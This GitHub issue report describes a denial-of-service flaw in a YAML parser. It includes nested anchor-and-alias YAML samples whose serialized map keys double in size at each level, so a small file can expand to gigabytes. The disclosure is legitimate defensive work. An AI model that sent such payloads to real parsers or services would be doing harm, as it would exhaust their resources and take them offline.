Skip to content

Using complex arrays as map keys may hang the process #475

@rlidwka

Description

@rlidwka

Arrays can be yaml keys. Arrays can be arbitrarily nested data structures that can reference each other. Yaml keys are serialized into strings.

As a result, we have a possibility of user creating yaml that will cause map key to grow exponentially from linearly growing input.

? - &c
    - &a 1
    - &b 2
  - &d
    - *a
    - *b
: key

expands into { "1,2,1,2": "key" }

?
  - &e
    - &c
      - &a 1
      - &b 2
    - &d
      - *a
      - *b
  - &f
    - *c
    - *d
: key

expands into { "1,2,1,2,1,2,1,2": "key" }

?
  - &g
    - &e
      - &c
        - &a 1
        - &b 2
      - &d
        - *a
        - *b
    - &f
      - *c
      - *d
  - &h
    - *e
    - *f
: key

expands into { "1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2": "key" }

Which is doubling the output, with only linearly growing input... and so on. Give it 30 levels of nesting, you'll get 1GB worth of data out of 10kB input file.

relevant issue here: #169

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions

      pFad - Phonifier reborn

      Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

      Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


      Alternative Proxies:

      Alternative Proxy

      pFad Proxy

      pFad v3 Proxy

      pFad v4 Proxy